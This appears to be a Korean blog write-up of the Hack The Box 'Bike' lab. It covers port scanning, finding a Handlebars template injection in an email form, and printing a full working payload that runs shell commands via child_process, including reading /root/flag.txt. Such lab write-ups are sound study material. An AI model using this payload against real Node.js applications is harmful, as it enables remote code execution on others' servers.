[HTB] Bike

nzero·2024년 2월 4일
0

Wargame

목록 보기
1/3

PortScan

naabu -host [ip] -nmap-cli -sV

SSH, NodeJS 확인

사이트 확인

이메일 폼에 입력한 값이 Response에 포함되어 출력된다.
XSS는 Escape 되어서 불가.

SSTI 구문을 입력하니 아래와 같이 오류가 발생한다. 확인된 템플릿 엔진은 handlebars.

{{this}} 구문 입력 시 [obejct Object]가 반환된다.

HackTricks에서 Handlebars에 대한 SSTI 구문을 찾아 삽입해보니 require 오류 발생

global을 오브젝트로 페이로드 수정

...생략...
{{this.push "return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString();"}}
...생략...

root 계정으로 실행 중

flag 파일 찾아서 페이로드 작성

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return global.process.mainModule.constructor._load('child_process').execSync('cat /root/flag.txt').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

0개의 댓글